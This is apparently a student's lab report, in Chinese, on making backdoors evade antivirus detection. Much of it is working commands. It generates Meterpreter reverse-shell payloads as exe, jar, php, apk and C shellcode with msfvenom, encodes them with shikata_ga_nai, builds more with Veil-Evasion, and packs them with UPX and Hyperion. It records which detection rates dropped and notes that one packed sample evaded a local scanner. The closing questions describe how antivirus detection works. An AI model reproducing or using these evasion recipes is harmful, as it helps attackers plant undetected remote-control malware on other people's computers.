(一)正確使用msf編碼器
- 用實驗二中生成的後門文件在VIRSCAN中測試(要把文件名改短) 能夠看到,這個後門也太容易被發現了!咱們要讓殺軟不察覺到它的存在,就要動一些手腳。
- 嘗試用msf編碼器對後門程序進行一次到屢次的編碼
- 1次編碼:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.132.137 LPORT=5322 -f exe > met-encoded.exe
- 10次編碼:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.132.137 LPORT=5322 -f exe > met-encoded10.exe
再次進行測試,發現較於以前並無改變。
- 參數介紹
- -p 使用的payload。payload翻譯爲有效載荷,就是被運輸有東西。這裏windows/meterpreter/reverse_tcp就是一段shellcode
- -x 使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中
-e
使用的編碼器,用於對shellcode變形,爲了免殺-i
編碼器的迭代次數。如上即便用該編碼器編碼5次-b
badchar 是payload中須要去除的字符-f
生成文件的類型>
輸出到哪一個文件- 被查殺緣由分析
- 編碼器(這裏使用的是shikata_ga_nai)總會有解碼部分須要加入的exe中,只要盯住這部分就能夠了。
- 模板就是msfvenom用來生成最終Exe的那個殼子exe文件,msfvenom會以固定的模板生成exe,全部它生成的exe,若是使用默認參數或模板,也有必定的固定特徵。
返回目錄php
(二)msfvenom生成如jar之類的其餘文件
- 參考msfvenom生成各種Payload命令
- 生成jar文件:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.132.137 lport=5322 x> 20165322_backdoor_java.jar
- 生成php文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.132.137 lport=5322 x> 20165322_backdoor.php
- 生成apk文件:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.132.137 LPORT=5322 R > 20165322_backdoor.apk
- jar、 php、 apk的檢出率分別爲6/49 、1/49 、7/32,相較於直接生成exe文件已經好了許多,尤爲是php文件,在網站上只被一個殺軟查出病毒。或許咱們能夠巧妙利用這一點對後門程序作些手腳。
返回目錄html
(三)使用veil-evasion生成後門程序及檢測
- 首先咱們須要安裝veil-evasion。因爲個人kali鏡像是18版的,參考曉暄的博客,輸入如下指令便可安裝成功(這裏裝以前須要update一下,個人源有點問題一開始沒成功)
mkdir -p ~/.cache/wine cd ~/.cache/wine wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
- 用
sudo apt-get install veil-evasion
命令安裝Veil- 以後輸入
veil
打開veil,輸入y
繼續安裝直至完成- 再次輸入
veil
便可進入應用界面- 用
use evasion
命令進入Evil-Evasion- 輸入命令
use c/meterpreter/rev_tcp.py
進入配置界面- 設置主機號
set LHOST 192.168.132.137
、端口號set LPORT 5322
、輸入generate
生成文件- 輸入想要生成的文件名(我這裏是veil_c_5322)。在上圖中找到路徑,能看到生成了一個exe文件。用virscan網站測試一下。
- veil生成的後門也有很大被發現的可能。
返回目錄java
(四)利用shellcode編程
- 環境用的是虛擬機kali和虛擬機win7
- 使用msf生成一段c語言shellcode數組:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.117 LPORT=5322 -f c
- 使用命令
i686-w64-mingw32-g++ 20165322.c -o 20165322.exe
編譯這個.c文件爲可執行文件;- 傳輸到目標win7主機後嘗試用msf控制檯回連失敗。參考羽昕的方法在windows環境下從新編譯了之後傳入win7裏……還沒來得及回連就被電腦管家查殺了 掃一掃……
返回目錄android
(五)加殼工具
壓縮殼
- 對(四)裏的c生成的exe文件用壓縮殼。:
upx wyj.exe -o wyj.upxed.exe
- 到網站上掃一掃……
- 放到電腦管家裏掃一掃…… 真的掃不出來了
加密殼
- 將壓縮殼生成的文件拷貝到
/usr/share/windows-binaries/hyperion/
目錄下- 進入目錄
/usr/share/windows-binaries/hyperion/
- 輸入命令
wine hyperion.exe -v wyj.upxed.exe wyj.up.hyp.exe
進行加殼- 執行上一步時會出現大量err和一個圖標,不要擔憂,等待出現以下畫面便可
- mfs控制檯成功鏈接被害機。。。不過我植入的加密殼後門一直運行不出來……編譯、更名、改兼容、關殺軟都試過了,甚至別人能跑的程序在我這也不能跑。。多是電腦的鍋(哭泣
- 因此咱們仍是常規掃一掃吧……
返回目錄shell
msfvenom -l encoders
查看可使用的編碼器來生成不一樣的後門x86/single_static_bit
編碼方式生成一個迭代5次的c語言shellcode數組,編譯後生成exe文件返回目錄編程
返回目錄windows
個人鏡像是18版的,裝上veil之後並不像19版的同窗的veil能使用use來查看生成後門的方法。和老師上課的時候碰到的問題是同樣的。在veil裏update了一下,報錯以下: 數組
查了一下緣由,好像是由於源的問題。暫時尚未找到能解決問題的源。不過靠直接輸入指令進入配置界面可以解決。安全
將文件傳入windows的時候,ping網絡沒有ping通,把兩邊設置都改爲自動的橋接模式就能夠解決了。
網絡
運行加密殼生成的exe時,window顯示以下錯誤。。。一開始覺得是電腦兼容性的問題,結果用同窗運行成功的代碼來作仍是不行Orz……
(1)殺軟是如何檢測出惡意代碼的?
- 基於特徵碼的檢測,特徵碼通常是一段或多段數據
- 啓發式惡意軟件檢測,片面地根據代碼的行爲去判斷,並不精確
- 基於行爲的惡意軟件檢測,實時監控,是基於啓發式的掃描
(2)免殺是作什麼?
- 免殺的目的就是爲了防止殺軟掃描出後門文件而後清除。
- 免殺就是用一些針對殺軟掃描的手段,使得殺軟沒法識別出後門程序,從而偷偷在電腦裏運行。
(3)免殺的基本方法有哪些?
- 總的來講就是改變特徵碼、改變行爲
- 在本次實驗中用到的方法有:msfvenom生成如jar之類的其餘文件,veil-evasion,加殼工具,使用shellcode編程
- 除此以外,使用修改編碼方式、或者直接對代碼進行加密、修改是更有效的手段
(4)開啓殺軟能絕對防止電腦中惡意代碼嗎? 固然不能。殺軟只能查到它的庫裏的特徵碼,根據程序行爲來判斷它是否安全。若是用一種它還未知的方法去攻破,它就絕不知情了。